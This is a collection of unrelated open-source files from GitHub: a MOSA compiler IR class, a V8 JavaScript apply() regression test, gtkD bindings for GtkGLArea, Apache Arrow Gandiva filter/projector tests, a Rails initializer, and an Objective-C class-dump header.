namespace Mosa.Compiler.Framework.IR
{
/// <summary>
/// LoadParamSignExtend8x64
/// </summary>
/// <seealso cref="Mosa.Compiler.Framework.IR.BaseIRInstruction" />
public sealed class LoadParamSignExtend8x64 : BaseIRInstruction
{
public LoadParamSignExtend8x64()
: base(1, 1)
{
}
public override bool IsMemoryRead { get { return true; } }
public override bool IsParameterLoad { get { return true; } }
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2013 the V8 project authors. All rights reserved.
// Copyright (C) 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY
// DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
description("Test to ensure that the registerfile is grown correctly when calling apply");
function testLog() { testPassed(this); }
(function () {
Function.prototype.call.apply(testLog, arguments);
})('Did not crash using apply', 0, 0); // needs 3+ arguments
(function () {
arguments; // reify the arguments object.
Function.prototype.call.apply(testLog, arguments);
})('Did not crash using apply', 0, 0); // needs 3+ arguments
|
{
"pile_set_name": "Github"
}
|
/*
* This file is part of gtkD.
*
* gtkD is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License
* as published by the Free Software Foundation; either version 3
* of the License, or (at your option) any later version, with
* some exceptions, please read the COPYING file.
*
* gtkD is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with gtkD; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
*/
// generated automatically - do not change
// find conversion definition on APILookup.txt
// implement new conversion functionalities on the wrap.utils pakage
module gtk.GLArea;
private import gdk.GLContext;
private import glib.ConstructionException;
private import glib.ErrorG;
private import gobject.ObjectG;
private import gobject.Signals;
private import gtk.Widget;
private import gtk.c.functions;
public import gtk.c.types;
public import gtkc.gtktypes;
private import std.algorithm;
/**
* #GtkGLArea is a widget that allows drawing with OpenGL.
*
* #GtkGLArea sets up its own #GdkGLContext for the window it creates, and
* creates a custom GL framebuffer that the widget will do GL rendering onto.
* It also ensures that this framebuffer is the default GL rendering target
* when rendering.
*
* In order to draw, you have to connect to the #GtkGLArea::render signal,
* or subclass #GtkGLArea and override the @GtkGLAreaClass.render() virtual
* function.
*
* The #GtkGLArea widget ensures that the #GdkGLContext is associated with
* the widget's drawing area, and it is kept updated when the size and
* position of the drawing area changes.
*
* ## Drawing with GtkGLArea ##
*
* The simplest way to draw using OpenGL commands in a #GtkGLArea is to
* create a widget instance and connect to the #GtkGLArea::render signal:
*
* |[<!-- language="C" -->
* // create a GtkGLArea instance
* GtkWidget *gl_area = gtk_gl_area_new ();
*
* // connect to the "render" signal
* g_signal_connect (gl_area, "render", G_CALLBACK (render), NULL);
* ]|
*
* The `render()` function will be called when the #GtkGLArea is ready
* for you to draw its content:
*
* |[<!-- language="C" -->
* static gboolean
* render (GtkGLArea *area, GdkGLContext *context)
* {
* // inside this function it's safe to use GL; the given
* // #GdkGLContext has been made current to the drawable
* // surface used by the #GtkGLArea and the viewport has
* // already been set to be the size of the allocation
*
* // we can start by clearing the buffer
* glClearColor (0, 0, 0, 0);
* glClear (GL_COLOR_BUFFER_BIT);
*
* // draw your object
* draw_an_object ();
*
* // we completed our drawing; the draw commands will be
* // flushed at the end of the signal emission chain, and
* // the buffers will be drawn on the window
* return TRUE;
* }
* ]|
*
* If you need to initialize OpenGL state, e.g. buffer objects or
* shaders, you should use the #GtkWidget::realize signal; you
* can use the #GtkWidget::unrealize signal to clean up. Since the
* #GdkGLContext creation and initialization may fail, you will
* need to check for errors, using gtk_gl_area_get_error(). An example
* of how to safely initialize the GL state is:
*
* |[<!-- language="C" -->
* static void
* on_realize (GtkGLarea *area)
* {
* // We need to make the context current if we want to
* // call GL API
* gtk_gl_area_make_current (area);
*
* // If there were errors during the initialization or
* // when trying to make the context current, this
* // function will return a #GError for you to catch
* if (gtk_gl_area_get_error (area) != NULL)
* return;
*
* // You can also use gtk_gl_area_set_error() in order
* // to show eventual initialization errors on the
* // GtkGLArea widget itself
* GError *internal_error = NULL;
* init_buffer_objects (&error);
* if (error != NULL)
* {
* gtk_gl_area_set_error (area, error);
* g_error_free (error);
* return;
* }
*
* init_shaders (&error);
* if (error != NULL)
* {
* gtk_gl_area_set_error (area, error);
* g_error_free (error);
* return;
* }
* }
* ]|
*
* If you need to change the options for creating the #GdkGLContext
* you should use the #GtkGLArea::create-context signal.
*
* Since: 3.16
*/
public class GLArea : Widget
{
/** the main Gtk struct */
protected GtkGLArea* gtkGLArea;
/** Get the main Gtk struct */
public GtkGLArea* getGLAreaStruct(bool transferOwnership = false)
{
if (transferOwnership)
ownedRef = false;
return gtkGLArea;
}
/** the main Gtk struct as a void* */
protected override void* getStruct()
{
return cast(void*)gtkGLArea;
}
/**
* Sets our main struct and passes it to the parent class.
*/
public this (GtkGLArea* gtkGLArea, bool ownedRef = false)
{
this.gtkGLArea = gtkGLArea;
super(cast(GtkWidget*)gtkGLArea, ownedRef);
}
/** */
public static GType getType()
{
return gtk_gl_area_get_type();
}
/**
* Creates a new #GtkGLArea widget.
*
* Returns: a new #GtkGLArea
*
* Since: 3.16
*
* Throws: ConstructionException GTK+ fails to create the object.
*/
public this()
{
auto p = gtk_gl_area_new();
if(p is null)
{
throw new ConstructionException("null returned by new");
}
this(cast(GtkGLArea*) p);
}
/**
* Ensures that the @area framebuffer object is made the current draw
* and read target, and that all the required buffers for the @area
* are created and bound to the frambuffer.
*
* This function is automatically called before emitting the
* #GtkGLArea::render signal, and doesn't normally need to be called
* by application code.
*
* Since: 3.16
*/
public void attachBuffers()
{
gtk_gl_area_attach_buffers(gtkGLArea);
}
/**
* Returns whether the area is in auto render mode or not.
*
* Returns: %TRUE if the @area is auto rendering, %FALSE otherwise
*
* Since: 3.16
*/
public bool getAutoRender()
{
return gtk_gl_area_get_auto_render(gtkGLArea) != 0;
}
/**
* Retrieves the #GdkGLContext used by @area.
*
* Returns: the #GdkGLContext
*
* Since: 3.16
*/
public GLContext getContext()
{
auto p = gtk_gl_area_get_context(gtkGLArea);
if(p is null)
{
return null;
}
return ObjectG.getDObject!(GLContext)(cast(GdkGLContext*) p);
}
/**
* Gets the current error set on the @area.
*
* Returns: the #GError or %NULL
*
* Since: 3.16
*/
public ErrorG getError()
{
auto p = gtk_gl_area_get_error(gtkGLArea);
if(p is null)
{
return null;
}
return new ErrorG(cast(GError*) p);
}
/**
* Returns whether the area has an alpha component.
*
* Returns: %TRUE if the @area has an alpha component, %FALSE otherwise
*
* Since: 3.16
*/
public bool getHasAlpha()
{
return gtk_gl_area_get_has_alpha(gtkGLArea) != 0;
}
/**
* Returns whether the area has a depth buffer.
*
* Returns: %TRUE if the @area has a depth buffer, %FALSE otherwise
*
* Since: 3.16
*/
public bool getHasDepthBuffer()
{
return gtk_gl_area_get_has_depth_buffer(gtkGLArea) != 0;
}
/**
* Returns whether the area has a stencil buffer.
*
* Returns: %TRUE if the @area has a stencil buffer, %FALSE otherwise
*
* Since: 3.16
*/
public bool getHasStencilBuffer()
{
return gtk_gl_area_get_has_stencil_buffer(gtkGLArea) != 0;
}
/**
* Retrieves the required version of OpenGL set
* using gtk_gl_area_set_required_version().
*
* Params:
* major = return location for the required major version
* minor = return location for the required minor version
*
* Since: 3.16
*/
public void getRequiredVersion(out int major, out int minor)
{
gtk_gl_area_get_required_version(gtkGLArea, &major, &minor);
}
/**
* Retrieves the value set by gtk_gl_area_set_use_es().
*
* Returns: %TRUE if the #GtkGLArea should create an OpenGL ES context
* and %FALSE otherwise
*
* Since: 3.22
*/
public bool getUseEs()
{
return gtk_gl_area_get_use_es(gtkGLArea) != 0;
}
/**
* Ensures that the #GdkGLContext used by @area is associated with
* the #GtkGLArea.
*
* This function is automatically called before emitting the
* #GtkGLArea::render signal, and doesn't normally need to be called
* by application code.
*
* Since: 3.16
*/
public void makeCurrent()
{
gtk_gl_area_make_current(gtkGLArea);
}
/**
* Marks the currently rendered data (if any) as invalid, and queues
* a redraw of the widget, ensuring that the #GtkGLArea::render signal
* is emitted during the draw.
*
* This is only needed when the gtk_gl_area_set_auto_render() has
* been called with a %FALSE value. The default behaviour is to
* emit #GtkGLArea::render on each draw.
*
* Since: 3.16
*/
public void queueRender()
{
gtk_gl_area_queue_render(gtkGLArea);
}
/**
* If @auto_render is %TRUE the #GtkGLArea::render signal will be
* emitted every time the widget draws. This is the default and is
* useful if drawing the widget is faster.
*
* If @auto_render is %FALSE the data from previous rendering is kept
* around and will be used for drawing the widget the next time,
* unless the window is resized. In order to force a rendering
* gtk_gl_area_queue_render() must be called. This mode is useful when
* the scene changes seldomly, but takes a long time to redraw.
*
* Params:
* autoRender = a boolean
*
* Since: 3.16
*/
public void setAutoRender(bool autoRender)
{
gtk_gl_area_set_auto_render(gtkGLArea, autoRender);
}
/**
* Sets an error on the area which will be shown instead of the
* GL rendering. This is useful in the #GtkGLArea::create-context
* signal if GL context creation fails.
*
* Params:
* error = a new #GError, or %NULL to unset the error
*
* Since: 3.16
*/
public void setError(ErrorG error)
{
gtk_gl_area_set_error(gtkGLArea, (error is null) ? null : error.getErrorGStruct());
}
/**
* If @has_alpha is %TRUE the buffer allocated by the widget will have
* an alpha channel component, and when rendering to the window the
* result will be composited over whatever is below the widget.
*
* If @has_alpha is %FALSE there will be no alpha channel, and the
* buffer will fully replace anything below the widget.
*
* Params:
* hasAlpha = %TRUE to add an alpha component
*
* Since: 3.16
*/
public void setHasAlpha(bool hasAlpha)
{
gtk_gl_area_set_has_alpha(gtkGLArea, hasAlpha);
}
/**
* If @has_depth_buffer is %TRUE the widget will allocate and
* enable a depth buffer for the target framebuffer. Otherwise
* there will be none.
*
* Params:
* hasDepthBuffer = %TRUE to add a depth buffer
*
* Since: 3.16
*/
public void setHasDepthBuffer(bool hasDepthBuffer)
{
gtk_gl_area_set_has_depth_buffer(gtkGLArea, hasDepthBuffer);
}
/**
* If @has_stencil_buffer is %TRUE the widget will allocate and
* enable a stencil buffer for the target framebuffer. Otherwise
* there will be none.
*
* Params:
* hasStencilBuffer = %TRUE to add a stencil buffer
*
* Since: 3.16
*/
public void setHasStencilBuffer(bool hasStencilBuffer)
{
gtk_gl_area_set_has_stencil_buffer(gtkGLArea, hasStencilBuffer);
}
/**
* Sets the required version of OpenGL to be used when creating the context
* for the widget.
*
* This function must be called before the area has been realized.
*
* Params:
* major = the major version
* minor = the minor version
*
* Since: 3.16
*/
public void setRequiredVersion(int major, int minor)
{
gtk_gl_area_set_required_version(gtkGLArea, major, minor);
}
/**
* Sets whether the @area should create an OpenGL or an OpenGL ES context.
*
* You should check the capabilities of the #GdkGLContext before drawing
* with either API.
*
* Params:
* useEs = whether to use OpenGL or OpenGL ES
*
* Since: 3.22
*/
public void setUseEs(bool useEs)
{
gtk_gl_area_set_use_es(gtkGLArea, useEs);
}
/**
* The ::create-context signal is emitted when the widget is being
* realized, and allows you to override how the GL context is
* created. This is useful when you want to reuse an existing GL
* context, or if you want to try creating different kinds of GL
* options.
*
* If context creation fails then the signal handler can use
* gtk_gl_area_set_error() to register a more detailed error
* of how the construction failed.
*
* Returns: a newly created #GdkGLContext;
* the #GtkGLArea widget will take ownership of the returned value.
*
* Since: 3.16
*/
gulong addOnCreateContext(GLContext delegate(GLArea) dlg, ConnectFlags connectFlags=cast(ConnectFlags)0)
{
return Signals.connect(this, "create-context", dlg, connectFlags ^ ConnectFlags.SWAPPED);
}
/**
* The ::render signal is emitted every time the contents
* of the #GtkGLArea should be redrawn.
*
* The @context is bound to the @area prior to emitting this function,
* and the buffers are painted to the window once the emission terminates.
*
* Params:
* context = the #GdkGLContext used by @area
*
* Returns: %TRUE to stop other handlers from being invoked for the event.
* %FALSE to propagate the event further.
*
* Since: 3.16
*/
gulong addOnRender(bool delegate(GLContext, GLArea) dlg, ConnectFlags connectFlags=cast(ConnectFlags)0)
{
return Signals.connect(this, "render", dlg, connectFlags ^ ConnectFlags.SWAPPED);
}
/**
* The ::resize signal is emitted once when the widget is realized, and
* then each time the widget is changed while realized. This is useful
* in order to keep GL state up to date with the widget size, like for
* instance camera properties which may depend on the width/height ratio.
*
* The GL context for the area is guaranteed to be current when this signal
* is emitted.
*
* The default handler sets up the GL viewport.
*
* Params:
* width = the width of the viewport
* height = the height of the viewport
*
* Since: 3.16
*/
gulong addOnResize(void delegate(int, int, GLArea) dlg, ConnectFlags connectFlags=cast(ConnectFlags)0)
{
return Signals.connect(this, "resize", dlg, connectFlags ^ ConnectFlags.SWAPPED);
}
}
|
{
"pile_set_name": "Github"
}
|
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
#include <gtest/gtest.h>
#include "arrow/memory_pool.h"
#include "gandiva/filter.h"
#include "gandiva/projector.h"
#include "gandiva/selection_vector.h"
#include "gandiva/tests/test_util.h"
#include "gandiva/tree_expr_builder.h"
namespace gandiva {
using arrow::boolean;
using arrow::float32;
using arrow::int32;
class TestFilterProject : public ::testing::Test {
public:
void SetUp() { pool_ = arrow::default_memory_pool(); }
protected:
arrow::MemoryPool* pool_;
};
TEST_F(TestFilterProject, TestSimple16) {
// schema for input fields
auto field0 = field("f0", int32());
auto field1 = field("f1", int32());
auto field2 = field("f2", int32());
auto resultField = field("result", int32());
auto schema = arrow::schema({field0, field1, field2});
// Build condition f0 < f1
auto node_f0 = TreeExprBuilder::MakeField(field0);
auto node_f1 = TreeExprBuilder::MakeField(field1);
auto node_f2 = TreeExprBuilder::MakeField(field2);
auto less_than_function =
TreeExprBuilder::MakeFunction("less_than", {node_f0, node_f1}, arrow::boolean());
auto condition = TreeExprBuilder::MakeCondition(less_than_function);
auto sum_expr = TreeExprBuilder::MakeExpression("add", {field1, field2}, resultField);
auto configuration = TestConfiguration();
std::shared_ptr<Filter> filter;
std::shared_ptr<Projector> projector;
auto status = Filter::Make(schema, condition, configuration, &filter);
EXPECT_TRUE(status.ok());
status = Projector::Make(schema, {sum_expr}, SelectionVector::MODE_UINT16,
configuration, &projector);
EXPECT_TRUE(status.ok());
// Create a row-batch with some sample data
int num_records = 5;
auto array0 = MakeArrowArrayInt32({1, 2, 6, 40, 3}, {true, true, true, true, true});
auto array1 = MakeArrowArrayInt32({5, 9, 3, 17, 6}, {true, true, true, true, true});
auto array2 = MakeArrowArrayInt32({1, 2, 6, 40, 3}, {true, true, true, true, false});
// expected output
auto result = MakeArrowArrayInt32({6, 11, 0}, {true, true, false});
// prepare input record batch
auto in_batch = arrow::RecordBatch::Make(schema, num_records, {array0, array1, array2});
std::shared_ptr<SelectionVector> selection_vector;
status = SelectionVector::MakeInt16(num_records, pool_, &selection_vector);
EXPECT_TRUE(status.ok());
// Evaluate expression
status = filter->Evaluate(*in_batch, selection_vector);
EXPECT_TRUE(status.ok());
// Evaluate expression
arrow::ArrayVector outputs;
status = projector->Evaluate(*in_batch, selection_vector.get(), pool_, &outputs);
EXPECT_TRUE(status.ok());
// Validate results
EXPECT_ARROW_ARRAY_EQUALS(result, outputs.at(0));
}
TEST_F(TestFilterProject, TestSimple32) {
// schema for input fields
auto field0 = field("f0", int32());
auto field1 = field("f1", int32());
auto field2 = field("f2", int32());
auto resultField = field("result", int32());
auto schema = arrow::schema({field0, field1, field2});
// Build condition f0 < f1
auto node_f0 = TreeExprBuilder::MakeField(field0);
auto node_f1 = TreeExprBuilder::MakeField(field1);
auto node_f2 = TreeExprBuilder::MakeField(field2);
auto less_than_function =
TreeExprBuilder::MakeFunction("less_than", {node_f0, node_f1}, arrow::boolean());
auto condition = TreeExprBuilder::MakeCondition(less_than_function);
auto sum_expr = TreeExprBuilder::MakeExpression("add", {field1, field2}, resultField);
auto configuration = TestConfiguration();
std::shared_ptr<Filter> filter;
std::shared_ptr<Projector> projector;
auto status = Filter::Make(schema, condition, configuration, &filter);
EXPECT_TRUE(status.ok());
status = Projector::Make(schema, {sum_expr}, SelectionVector::MODE_UINT32,
configuration, &projector);
EXPECT_TRUE(status.ok());
// Create a row-batch with some sample data
int num_records = 5;
auto array0 = MakeArrowArrayInt32({1, 2, 6, 40, 3}, {true, true, true, true, true});
auto array1 = MakeArrowArrayInt32({5, 9, 3, 17, 6}, {true, true, true, true, true});
auto array2 = MakeArrowArrayInt32({1, 2, 6, 40, 3}, {true, true, true, true, false});
// expected output
auto result = MakeArrowArrayInt32({6, 11, 0}, {true, true, false});
// prepare input record batch
auto in_batch = arrow::RecordBatch::Make(schema, num_records, {array0, array1, array2});
std::shared_ptr<SelectionVector> selection_vector;
status = SelectionVector::MakeInt32(num_records, pool_, &selection_vector);
EXPECT_TRUE(status.ok());
// Evaluate expression
status = filter->Evaluate(*in_batch, selection_vector);
EXPECT_TRUE(status.ok());
// Evaluate expression
arrow::ArrayVector outputs;
status = projector->Evaluate(*in_batch, selection_vector.get(), pool_, &outputs);
ASSERT_OK(status);
// Validate results
EXPECT_ARROW_ARRAY_EQUALS(result, outputs.at(0));
}
TEST_F(TestFilterProject, TestSimple64) {
// schema for input fields
auto field0 = field("f0", int32());
auto field1 = field("f1", int32());
auto field2 = field("f2", int32());
auto resultField = field("result", int32());
auto schema = arrow::schema({field0, field1, field2});
// Build condition f0 < f1
auto node_f0 = TreeExprBuilder::MakeField(field0);
auto node_f1 = TreeExprBuilder::MakeField(field1);
auto node_f2 = TreeExprBuilder::MakeField(field2);
auto less_than_function =
TreeExprBuilder::MakeFunction("less_than", {node_f0, node_f1}, arrow::boolean());
auto condition = TreeExprBuilder::MakeCondition(less_than_function);
auto sum_expr = TreeExprBuilder::MakeExpression("add", {field1, field2}, resultField);
auto configuration = TestConfiguration();
std::shared_ptr<Filter> filter;
std::shared_ptr<Projector> projector;
auto status = Filter::Make(schema, condition, configuration, &filter);
EXPECT_TRUE(status.ok());
status = Projector::Make(schema, {sum_expr}, SelectionVector::MODE_UINT64,
configuration, &projector);
ASSERT_OK(status);
// Create a row-batch with some sample data
int num_records = 5;
auto array0 = MakeArrowArrayInt32({1, 2, 6, 40, 3}, {true, true, true, true, true});
auto array1 = MakeArrowArrayInt32({5, 9, 3, 17, 6}, {true, true, true, true, true});
auto array2 = MakeArrowArrayInt32({1, 2, 6, 40, 3}, {true, true, true, true, false});
// expected output
auto result = MakeArrowArrayInt32({6, 11, 0}, {true, true, false});
// prepare input record batch
auto in_batch = arrow::RecordBatch::Make(schema, num_records, {array0, array1, array2});
std::shared_ptr<SelectionVector> selection_vector;
status = SelectionVector::MakeInt64(num_records, pool_, &selection_vector);
EXPECT_TRUE(status.ok());
// Evaluate expression
status = filter->Evaluate(*in_batch, selection_vector);
EXPECT_TRUE(status.ok());
// Evaluate expression
arrow::ArrayVector outputs;
status = projector->Evaluate(*in_batch, selection_vector.get(), pool_, &outputs);
EXPECT_TRUE(status.ok());
// Validate results
EXPECT_ARROW_ARRAY_EQUALS(result, outputs.at(0));
}
TEST_F(TestFilterProject, TestSimpleIf) {
// schema for input fields
auto fielda = field("a", int32());
auto fieldb = field("b", int32());
auto fieldc = field("c", int32());
auto schema = arrow::schema({fielda, fieldb, fieldc});
// output fields
auto field_result = field("res", int32());
auto node_a = TreeExprBuilder::MakeField(fielda);
auto node_b = TreeExprBuilder::MakeField(fieldb);
auto node_c = TreeExprBuilder::MakeField(fieldc);
auto greater_than_function =
TreeExprBuilder::MakeFunction("greater_than", {node_a, node_b}, boolean());
auto filter_condition = TreeExprBuilder::MakeCondition(greater_than_function);
auto project_condition =
TreeExprBuilder::MakeFunction("less_than", {node_b, node_c}, boolean());
auto if_node = TreeExprBuilder::MakeIf(project_condition, node_b, node_c, int32());
auto expr = TreeExprBuilder::MakeExpression(if_node, field_result);
auto configuration = TestConfiguration();
// Build a filter for the expressions.
std::shared_ptr<Filter> filter;
auto status = Filter::Make(schema, filter_condition, configuration, &filter);
EXPECT_TRUE(status.ok());
// Build a projector for the expressions.
std::shared_ptr<Projector> projector;
status = Projector::Make(schema, {expr}, SelectionVector::MODE_UINT32, configuration,
&projector);
ASSERT_OK(status);
// Create a row-batch with some sample data
int num_records = 6;
auto array0 =
MakeArrowArrayInt32({10, 12, -20, 5, 21, 29}, {true, true, true, true, true, true});
auto array1 =
MakeArrowArrayInt32({5, 15, 15, 17, 12, 3}, {true, true, true, true, true, true});
auto array2 = MakeArrowArrayInt32({1, 25, 11, 30, -21, 30},
{true, true, true, true, true, false});
// Create a selection vector
std::shared_ptr<SelectionVector> selection_vector;
status = SelectionVector::MakeInt32(num_records, pool_, &selection_vector);
EXPECT_TRUE(status.ok());
// expected output
auto exp = MakeArrowArrayInt32({1, -21, 0}, {true, true, false});
// prepare input record batch
auto in_batch = arrow::RecordBatch::Make(schema, num_records, {array0, array1, array2});
// Evaluate filter
status = filter->Evaluate(*in_batch, selection_vector);
EXPECT_TRUE(status.ok());
// Evaluate project
arrow::ArrayVector outputs;
status = projector->Evaluate(*in_batch, selection_vector.get(), pool_, &outputs);
EXPECT_TRUE(status.ok());
// Validate results
EXPECT_ARROW_ARRAY_EQUALS(exp, outputs.at(0));
}
} // namespace gandiva
|
{
"pile_set_name": "Github"
}
|
# frozen_string_literal: true
# Be sure to restart your server when you modify this file.
# You can add backtrace silencers for libraries that you're
# using but don't wish to see in your backtraces.
# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
# You can also remove all the silencers if you're trying to debug
# a problem that might stem from framework code.
# Rails.backtrace_cleaner.remove_silencers!
|
{
"pile_set_name": "Github"
}
|
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <Foundation/NSDimension.h>
#import <Foundation/NSSecureCoding-Protocol.h>
@interface NSUnitInformationStorage : NSDimension <NSSecureCoding>
{
}
+ (id)kibibits;
+ (id)mebibits;
+ (id)gibibits;
+ (id)tebibits;
+ (id)pebibits;
+ (id)exbibits;
+ (id)zebibits;
+ (id)yobibits;
+ (id)bits;
+ (id)nibbles;
+ (id)kilobits;
+ (id)megabits;
+ (id)gigabits;
+ (id)terabits;
+ (id)petabits;
+ (id)exabits;
+ (id)zettabits;
+ (id)yottabits;
+ (id)kibibytes;
+ (id)mebibytes;
+ (id)gibibytes;
+ (id)tebibytes;
+ (id)pebibytes;
+ (id)exbibytes;
+ (id)zebibytes;
+ (id)yobibytes;
+ (id)bytes;
+ (id)kilobytes;
+ (id)megabytes;
+ (id)gigabytes;
+ (id)terabytes;
+ (id)petabytes;
+ (id)exabytes;
+ (id)zettabytes;
+ (id)yottabytes;
+ (id)baseUnit;
+ (void)initialize;
@end
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.